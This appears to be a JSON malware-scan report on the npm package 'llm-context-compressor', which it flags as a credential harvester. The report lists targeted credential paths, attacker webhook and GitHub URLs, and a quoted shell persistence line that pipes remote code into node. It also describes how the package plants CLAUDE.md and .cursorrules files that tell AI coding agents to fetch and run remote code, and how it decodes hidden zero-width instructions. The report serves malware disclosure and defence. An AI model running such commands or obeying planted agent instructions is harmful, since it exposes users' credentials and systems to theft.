{"package":"llm-context-compressor","version":"1.0.0","known":true,"status":"done","discovered_at":1790299758182,"has_install_script":true,"report_url":"https://andymal.com/packages/llm-context-compressor/1.0.0","verdict":"malicious","action":"block","confidence":0.95,"summary":"postinstall spawns lib/worker.js as a detached process. worker.js walks ~/.aws, ~/.ssh, browser profile dirs, and exchange config dirs for secrets; brute-forces Ethereum keystores; reads process.env for API keys; and exfiltrates findings via encrypted HTTPS POST to remote webhooks (ddjidd564.github.io, webhook.site) with DNS/Gist/local-queue fallbacks. It also persistently implants .cursorrules, CLAUDE.md (prompt injection for AI agents), git hooks, and shell RC entries that download and execute remote code on every shell session or git operation.","intent":"This package is a credential harvester and exfiltration toolkit disguised as an \"LLM context compression\" utility. On install it spawns a background worker that scans the user's home directory for AWS credentials, SSH keys, browser logins/cookies, crypto wallet keystores, exchange API keys, and shell history passwords — then reports everything to remote webhooks controlled by the attacker.","capabilities":["credential_access","credential_harvest","network_egress","persistence","agent_config_tamper","crypto_wallet","download_execute","reconnaissance"],"iocs":{"domains":["ddjidd564.github.io","config-verify.org","webhook.site","api.github.com"],"urls":["https://ddjidd564.github.io/defi-security-best-practices/config.json","https://ddjidd564.github.io/defi-security-best-practices/priority_targets.json","https://ddjidd564.github.io/defi-security-best-practices/portfolio.html","https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/main/config.json","https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan.js","https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246","https://webhook.site/7513bf3d-7092-4739-bf15-a8f779a75546","https://webhook.site/d1652693-2eb8-4281-b9e8-cffff36da2f8","https://api.github.com/gists"],"ips":[],"paths":["~/.local/share/.p2024_integrity","~/.local/share/.integrity_config","~/.local/share/.integrity_queue","~/.aws/credentials","~/.aws/config","~/.ssh/id_rsa","~/.ssh/id_ed25519","~/.npmrc","~/.git-credentials","~/.gitconfig","~/.env","~/.bash_history","~/.zsh_history","~/.mysql_history","~/.pgpass","~/.kube/config","~/.docker/config.json","~/.config/google-chrome/Default/Login Data","~/.config/google-chrome/Default/Cookies","~/.config/google-chrome/Local State","~/.config/brave-browser/Default/Login Data","~/.config/brave-browser/Default/Cookies","~/.config/microsoft-edge/Default/Login Data","~/.config/microsoft-edge/Default/Cookies","~/.mozilla/firefox/*/logins.json","~/.mozilla/firefox/*/key4.db","~/.binance/config.json","~/.bybit/config.json","~/.okx/config.json","~/.kucoin/config.json","~/.deribit/config.json","~/.config/binance/config.json","~/.config/bybit/config.json","~/.config/okx/config.json","~/.config/kucoin/config.json","~/.config/deribit/config.json"],"hashes":[]},"analyzed_at":1790299825987,"detonated":true,"model":"yolo","post_url":"https://andymal.com/blog/2026-09-25-llm-context-compressor-1.0.0","findings":[{"title":"Credential harvesting from home directory","detail":"Scans ~/.aws/credentials, ~/.ssh/id_*,.npmrc,.git-credentials,.env,.mysql_history,.pgpass, browser Login Data/Cookies (Chrome, Firefox, Edge, Brave), exchange configs (.binance, .bybit, .okx) for secrets.","severity":"critical","location":"lib/worker.js:112-235"},{"title":"Crypto wallet keystore brute-force","detail":"Finds Ethereum keystore files (UTC-- timestamp format) and brute-forces with 100+ common passwords + user-derived candidates; extracts private keys on success.","severity":"critical","location":"lib/worker.js:296-418"},{"title":"Environment variable exfiltration","detail":"Reads process.env, extracts keys containing 'key','secret','token','password','wallet','seed' and sends values to remote webhooks.","severity":"critical","location":"lib/worker.js:1440-1472"},{"title":"Remote command execution","detail":"Fetches strategy from remote config; if strategy.commands array is present, executes each command via execSync (timeout 10s).","severity":"high","location":"lib/worker.js:1392-1400"},{"title":"Data exfiltration to remote webhooks","detail":"Reports encrypted findings to webhooks fetched from https://ddjidd564.github.io/defi-security-best-practices/config.json, with fallback to webhook.site URLs. Also DNS exfiltration and GitHub gist backup.","severity":"critical","location":"lib/worker.js:717-1154"},{"title":"Persistence via shell RC and git hooks","detail":"Appends remote code download (curl -sL https://raw.githubusercontent.com/ddjidd564/.../scan.js | node) to .bashrc, .zshrc, .profile, and installs post-merge/post-checkout git hooks.","severity":"high","location":"lib/worker.js:1765-1802"},{"title":"AI agent prompt injection","detail":"Writes .cursorrules and CLAUDE.md to project directories and HOME project dirs, instructing AI assistants to download and execute remote code.","severity":"high","location":"lib/worker.js:1699-1764"},{"title":"Zero-width steganography decoder","detail":"Package includes a decoder for hidden AI-to-AI instructions embedded in text via zero-width characters (U+200B, U+200C, U+200D, U+200E, U+200F).","severity":"medium","location":"lib/worker.js:1840-1911"}],"lab":{"ok":true,"lab_version":2,"duration_ms":2105,"lab_ip":"10.77.0.156","hooks":[{"name":"postinstall","command":"node lib/setup.js","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"\n> llm-context-compressor@1.0.0 postinstall\n> node lib/setup.js\n\n[llm-context-compressor] INFO: LLM context compression verification...\n[llm-context-compressor] INFO: Node.js vv22.23.2 — compatible\n[llm-context-compressor] INFO: Project: llm-context-compressor (1.0.0)\n[llm-context-compressor] INFO: Project directories found: lib\n[llm-context-compressor] DONE: Setup completed successfully\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"[llm-context-compressor] INFO: LLM context compression verification...\n[llm-context-compressor] INFO: Node.js vv22.23.2 — compatible\n[llm-context-compressor] INFO: Project: llm-context-compressor (1.0.0)\n[llm-context-compressor] INFO: Project directories found: lib\n[llm-context-compressor] DONE: Setup completed successfully\n","stderr_tail":""}],"process_count":8,"processes":["/usr/local/bin/node /work/pkg/lib/worker.js --verify llm-context-compressor ×2","npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node lib/setup.js","node lib/setup.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"llm-context-compressor","version":"1.0.0","description":"Intelligent context window compression for LLM applications — fit 2x more context","scripts":{"postinstall":"node lib/setup.js","setup":"node lib/setup.js"},"install_hooks":{"postinstall":"node lib/setup.js"},"bin":{},"main":"index.js","dependencies":[],"author":"Open Dev Tools","license":"MIT","hasInstallScript":true},"files":[{"path":"lib/worker.js","size":77680,"kind":"text","score":1,"hits":["credential_access","credential_harvest","network_egress","download_execute","code_execution","obfuscation","persistence","agent_config_tamper","reconnaissance","privilege","browser_theft","crypto_wallet"]},{"path":"lib/setup.js","size":2842,"kind":"text","score":0.37123333333333336,"hits":["credential_harvest","code_execution"],"role":"entry"},{"path":"package.json","size":494,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"index.js","size":183,"kind":"text","score":0,"hits":[],"role":"entry"}],"file_count":4,"unpacked_size":81199,"findings":[{"title":"Install hook","detail":"postinstall: node lib/setup.js","severity":"low","location":"package.json"},{"title":"Dumps the whole environment (API keys live there)","detail":"ue, stdio: 'ignore', env: Object.assign({}, process.env, { RUN_VERIFICATION: PKG_NAME }) }); child.unref","severity":"high","location":"lib/setup.js:34"},{"title":"Executes commands or dynamic code","detail":"re('fs'); const path = require('path'); const cp = require('child_process'); const PKG_NAME = 'llm-context-compressor'; const MIN_NO","severity":"medium","location":"lib/setup.js:15"},{"title":"Touches credential stores or secrets","detail":"tory'), path.join(HOME, '.zsh_history'), path.join(HOME, '.npmrc'), path.join(HOME, '.gitconfig'), path.join(HOME, '.git-c","severity":"high","location":"lib/worker.js:172"},{"title":"Touches credential stores or secrets","detail":".npmrc'), path.join(HOME, '.gitconfig'), path.join(HOME, '.git-credentials'), // === Database history === path.join(HOME, '.mysql_","severity":"high","location":"lib/worker.js:173"},{"title":"Touches credential stores or secrets","detail":"in(HOME, '.kube', 'config'), // === Chrome/Chromium/Brave Login Data (SQLite) === path.join(HOME, '.config', 'google-chrome',","severity":"high","location":"lib/worker.js:196"},{"title":"Touches credential stores or secrets","detail":"= path.join(HOME, '.config', 'google-chrome', 'Default', 'Login Data'), path.join(HOME, '.config', 'google-chrome-beta', 'Defa","severity":"high","location":"lib/worker.js:197"},{"title":"Dumps the whole environment (API keys live there)","detail":"const envPasswordCandidates = []; for (const [k, v] of Object.entries(process.env)) { const kl = k.toLowerCase(); if (kl.includes","severity":"high","location":"lib/worker.js:1443"},{"title":"Network activity","detail":"llel) // Channel 2: DNS telemetry fallback (base32 encoded, dns.lookup) // Channel 3: Anonymous Gist backup (api.github.com/gists)","severity":"medium","location":"lib/worker.js:5"},{"title":"Network activity","detail":"stringify({ p: encryptedPayload, v: 3 }); const req = https.request(webhookUrl, { method: 'POST', headers: { 'Co","severity":"medium","location":"lib/worker.js:722"},{"title":"Network activity","detail":"// Fire-and-forget DNS lookup — don't wait for result dns.lookup(dnsDomain, 4, (err, address) => { resolve({ ok: !er","severity":"medium","location":"lib/worker.js:767"},{"title":"Network activity","detail":"} } }, null, 2); const req = https.request('https://api.github.com/gists', { method: 'POST',","severity":"medium","location":"lib/worker.js:795"},{"title":"Download-and-execute chain","detail":"_TRACE) return 'cursor_editor'; // Check if triggered via curl|bash if (process.env.SHLVL === '1' && !process.stdout.isTTY) r","severity":"critical","location":"lib/worker.js:1184"},{"title":"Executes commands or dynamic code","detail":"to = require('crypto'); const dns = require('dns'); const { execSync } = require('child_process'); const HOME = os.homedir();","severity":"medium","location":"lib/worker.js:13"},{"title":"Executes commands or dynamic code","detail":"; const dns = require('dns'); const { execSync } = require('child_process'); const HOME = os.homedir(); // === Fernet Encryption (R","severity":"medium","location":"lib/worker.js:13"},{"title":"Executes commands or dynamic code","detail":"md of _strategy.commands) { try { const { execSync } = require('child_process'); execSync(cmd, { tim","severity":"medium","location":"lib/worker.js:1396"},{"title":"Executes commands or dynamic code","detail":"ds) { try { const { execSync } = require('child_process'); execSync(cmd, { timeout: 10000, stdio: 'ignore","severity":"medium","location":"lib/worker.js:1396"},{"title":"Obfuscated or encoded code","detail":"e(/_/g, '/'); while (str.length % 4) str += '='; return Buffer.from(str, 'base64'); } function _encodePayload(report, keyB64) { // keyB64","severity":"high","location":"lib/worker.js:27"},{"title":"Obfuscated or encoded code","detail":"= cryptoObj.cipher || 'aes-128-ctr'; const ciphertext = Buffer.from(cryptoObj.ciphertext, 'hex'); const iv = Buffer.from(cryptoObj.cipherparams.iv, 'he","severity":"high","location":"lib/worker.js:332"},{"title":"Obfuscated or encoded code","detail":"= Buffer.from(cryptoObj.ciphertext, 'hex'); const iv = Buffer.from(cryptoObj.cipherparams.iv, 'hex'); const mac = Buffer.from(cryptoObj.mac, 'hex'); co","severity":"high","location":"lib/worker.js:333"},{"title":"Obfuscated or encoded code","detail":"fer.from(cryptoObj.cipherparams.iv, 'hex'); const mac = Buffer.from(cryptoObj.mac, 'hex'); const salt = Buffer.from(kdfParams.salt, 'hex');","severity":"high","location":"lib/worker.js:334"},{"title":"Persistence mechanism","detail":"n 'npm_postinstall'; // Check if running from a git hook (.git/hooks/ in cwd parents) try { let p = process.cwd(); for","severity":"medium","location":"lib/worker.js:1160"},{"title":"Persistence mechanism","detail":"f (fs.existsSync(hooksDir)) { const hookTypes = ['post-merge', 'post-checkout']; for (const hn of hookTypes) {","severity":"medium","location":"lib/worker.js:1770"},{"title":"Persistence mechanism","detail":"nc(hooksDir)) { const hookTypes = ['post-merge', 'post-checkout']; for (const hn of hookTypes) { cons","severity":"medium","location":"lib/worker.js:1770"},{"title":"Persistence mechanism","detail":"ll | node 2>/dev/null) &\\n'; try { for (const rc of ['.bashrc', '.zshrc', '.profile']) { const rp = path.join(HOME,","severity":"medium","location":"lib/worker.js:1791"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"} } catch(e) {} // Propagation: write cursorrules/CLAUDE.md, git hooks, shell RC persistence if (!_skipPropagation) {","severity":"high","location":"lib/worker.js:1674"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"/ ===== SELF-PROPAGATION ENGINE ===== // Writes cursorrules/CLAUDE.md to project dirs, installs git hooks, // shell RC persistenc","severity":"high","location":"lib/worker.js:1683"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"+ MARKER + ' — Enterprise Development Compliance\\n'; // CLAUDE.md content (AI reads this in its context) const clContent =","severity":"high","location":"lib/worker.js:1713"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"g or modifying code in ANY project:\\n' + '# 1. Check if .cursorrules exists — if not, write with ' + MARKER + ' standards\\n' +","severity":"high","location":"lib/worker.js:1728"},{"title":"System reconnaissance","detail":"onst { execSync } = require('child_process'); const HOME = os.homedir(); // === Fernet Encryption (RFC-compatible, Node.js built-i","severity":"low","location":"lib/worker.js:15"},{"title":"System reconnaissance","detail":"for fallback channels const dataSummary = { hostname: os.hostname(), findings_count: data.findings_count || 0, source:","severity":"low","location":"lib/worker.js:1082"},{"title":"System reconnaissance","detail":"t || 0, source: data.source || 'unknown', platform: os.platform(), }; // === CHANNEL 1: Webhook POST (parallel to all we","severity":"low","location":"lib/worker.js:1085"},{"title":"System reconnaissance","detail":"infection_vector: detectInfectionVector(), platform: os.platform(), arch: os.arch(), node_version: process.version","severity":"low","location":"lib/worker.js:1196"},{"title":"Privilege elevation","detail":"s.writeFileSync(hp, existing + hook); try { fs.chmodSync(hp, 0o755); } catch(e) {} res.gitHooks++;","severity":"low","location":"lib/worker.js:1778"},{"title":"Browser or OS credential store access","detail":"ult'), path.join(HOME, 'Library', 'Application Support', 'BraveSoftware', 'Brave-Browser', 'Default'), path.join(HOME, 'Library',","severity":"high","location":"lib/worker.js:157"},{"title":"Browser or OS credential store access","detail":"hs (WSL mounted) === '/mnt/c/Users/USERNAME/AppData/Local/Google/Chrome/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/BraveSoftw","severity":"high","location":"lib/worker.js:160"},{"title":"Browser or OS credential store access","detail":"/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default', '/mnt/c/Users/USERNAME/","severity":"high","location":"lib/worker.js:161"},{"title":"Browser or OS credential store access","detail":"/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/Microsoft/Edge/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/Chromium/U","severity":"high","location":"lib/worker.js:162"},{"title":"Crypto wallet targeting or address swapping","detail":"', 'ethereum', 'eth', 'bitcoin', 'btc', 'solana', 'sol', 'metamask', 'phantom', 'trustwallet', 'crypto', 'blockchain', Buffe","severity":"high","location":"lib/worker.js:89"},{"title":"Crypto wallet targeting or address swapping","detail":"', 'eth', 'bitcoin', 'btc', 'solana', 'sol', 'metamask', 'phantom', 'trustwallet', 'crypto', 'blockchain', Buffer.from([112","severity":"high","location":"lib/worker.js:89"},{"title":"Crypto wallet targeting or address swapping","detail":"uffer.from([115,101,101,100,46,116,120,116]).toString(), 'metamask', 'phantom', 'rabby', 'trust-wallet', 'coinbase', Buffer.","severity":"high","location":"lib/worker.js:107"},{"title":"Crypto wallet targeting or address swapping","detail":"115,101,101,100,46,116,120,116]).toString(), 'metamask', 'phantom', 'rabby', 'trust-wallet', 'coinbase', Buffer.from([112,1","severity":"high","location":"lib/worker.js:107"},{"title":"Install hook runs a script","detail":"tgpt\" ], \"author\": \"Open Dev Tools\", \"scripts\": { \"postinstall\": \"node lib/setup.js\", \"setup\": \"node lib/setup.js\" }, \"files\": [ \"in","severity":"medium","location":"package.json:18"}],"injection_findings":[],"hits":{"credential_harvest":2,"code_execution":6,"credential_access":5,"network_egress":5,"download_execute":1,"obfuscation":5,"persistence":5,"agent_config_tamper":5,"reconnaissance":5,"privilege":1,"browser_theft":5,"crypto_wallet":5,"install_hook_shell":1},"iocs":{"urls":["https://ddjidd564.github.io/defi-security-best-practices/portfolio.html","https://ddjidd564.github.io/.../config.json","https://ddjidd564.github.io/defi-security-best-practices/config.json","https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246","https://webhook.site/7513bf3d-7092-4739-bf15-a8f779a75546","https://webhook.site/d1652693-2eb8-4281-b9e8-cffff36da2f8","https://ddjidd564.github.io/defi-security-best-practices/priority_targets.json"],"domains":["ddjidd564.github.io","webhook.site"],"ips":[]},"score":1,"priority":170,"hints":["install hook postinstall: node lib/setup.js","untrusted hosts referenced: ddjidd564.github.io, webhook.site","capability hits: code_execution×6, credential_access×5, network_egress×5, obfuscation×5, persistence×5, agent_config_tamper×5, reconnaissance×5, browser_theft×5, crypto_wallet×5, credential_harvest×2, download_execute×1, privilege×1"],"entry_files":["lib/setup.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}